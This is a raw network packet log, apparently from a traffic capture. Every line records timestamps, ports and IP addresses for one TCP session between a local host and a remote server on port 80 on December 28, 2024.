Dec 28, 2024 09:48:55.465277910 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.465322018 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.467840910 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.467915058 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.467959881 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.470460892 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.470537901 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.470587015 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.473087072 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.473196030 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.473243952 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.475708008 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.475720882 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.475759983 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.478414059 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.478456020 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.478493929 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.480958939 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.481065035 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.481126070 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.483637094 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.483747005 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.483791113 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.486212969 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.486337900 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.486380100 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.488888025 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.489062071 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.489100933 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.491480112 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.491543055 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.491588116 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.494132996 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.494147062 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.494199991 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.496664047 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.496675014 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.496725082 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.499353886 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.499370098 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.500427961 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.501857042 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.502053976 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.502123117 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.504405022 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.504550934 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.504594088 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.507026911 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.507154942 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.507426023 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.509723902 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.509737968 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.510106087 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.512325048 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.512337923 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.512372017 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.514839888 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.514972925 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.515012980 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.517396927 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.517630100 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.517677069 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.520106077 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.520117998 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.520172119 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.522913933 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.522924900 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.522972107 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.525269985 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.525337934 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.525378942 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.527967930 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.527987957 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.528040886 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.530474901 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.530503988 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.530543089 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.532999992 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.533035994 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.533073902 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.535629034 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.535641909 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.535999060 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.538163900 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.538233042 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.538269997 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.540822029 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.540833950 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.540869951 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.543469906 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.543483973 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.543528080 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.545916080 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.546044111 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.546083927 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.548938036 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.549055099 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.549093008 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.603288889 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.603358984 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.603434086 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.604305983 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.604449034 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.604500055 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.606520891 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.606539965 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.606596947 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.608681917 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.608721018 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.608774900 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.610711098 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.610755920 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.610809088 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.612869978 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.612890959 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.612938881 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.614797115 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.614824057 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.614877939 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.616764069 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.616903067 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.616951942 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.618731976 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.618911028 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.620507956 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.620697975 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.620932102 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.622620106 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.622669935 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.622735023 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.624506950 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.624558926 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.624619007 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.624660969 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.626482010 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.626498938 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.626542091 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.628369093 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.628422976 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.628470898 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.630213976 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.630280972 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.630326033 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.632025003 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.632157087 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.632306099 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.633819103 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.633985996 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.635757923 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.635770082 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.635818005 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.637398005 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.637568951 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.637633085 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.639205933 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.639352083 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.639969110 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.640948057 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.641057014 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.642688036 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.642738104 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.642776966 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.643980026 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.644427061 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.644535065 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.644579887 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.646116018 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.646203041 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.646246910 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.647967100 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.647979975 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.648017883 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.649497986 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.649714947 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.649765968 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.651156902 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.651258945 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.652508020 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.652808905 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.652976036 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.654531956 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.654580116 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.654629946 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.655926943 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.656117916 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.656322002 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.656368971 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.657788992 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.657802105 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.657843113 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.659401894 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.659466982 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.659971952 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.661066055 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.661084890 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.661123037 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.661973953 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.662012100 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.662899017 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.662941933 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.663006067 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.663815975 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.663861036 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.663873911 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.663912058 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.664699078 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.664858103 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.664901018 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.665710926 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.665731907 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.665772915 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.666640043 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.666678905 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.666719913 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.667500019 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.667627096 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.668479919 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.668493032 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.668572903 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.669399023 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.669440985 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.669445992 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.670332909 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.670351982 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.670376062 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.670412064 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.671250105 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.671293974 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.671945095 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.672142029 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.672314882 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.673074007 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.673115969 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.673193932 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.674025059 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.674068928 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.674068928 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.674364090 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.674974918 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.675091028 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.675134897 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.675931931 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.676001072 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.676038980 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.676759958 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.676814079 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.676857948 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.677716970 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.677803993 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.678688049 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.678730965 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.678744078 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.679593086 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.679636002 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.679665089 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.679702997 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.680438995 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.736907005 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.795171022 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.795259953 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.795382977 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.795697927 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.795785904 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.795836926 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.795912981 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.796686888 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.796730995 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.796857119 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.797606945 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.797663927 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.797677040 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.798512936 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.798557043 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.798656940 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.799416065 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.799473047 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.799509048 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.800286055 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.800405025 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.800455093 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.801239014 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.801282883 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.801292896 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.802077055 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.802136898 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.802181005 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.802892923 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.803003073 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.803046942 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.803786993 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.803828955 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.803852081 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.804625988 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.804799080 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.804846048 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.805593014 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.805605888 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.805644989 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.806412935 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.806454897 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.806492090 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.807214022 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.807343960 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.807401896 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.808243990 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.808315039 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.808372021 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.809021950 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.809070110 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.809103966 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.809942007 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.809976101 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.809990883 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.810765982 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.810784101 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.810831070 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.811597109 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.811644077 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.811707020 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.812438011 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.812483072 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.812549114 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.813370943 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.813383102 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.813421011 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.814178944 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.814220905 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.814276934 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.815052032 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.815104008 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.815135956 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.815995932 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.816008091 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.816067934 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.816776991 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.816862106 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.816891909 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.817635059 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.817682028 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.817730904 CET	80	49782	185.215.113.16	192.168.2.11
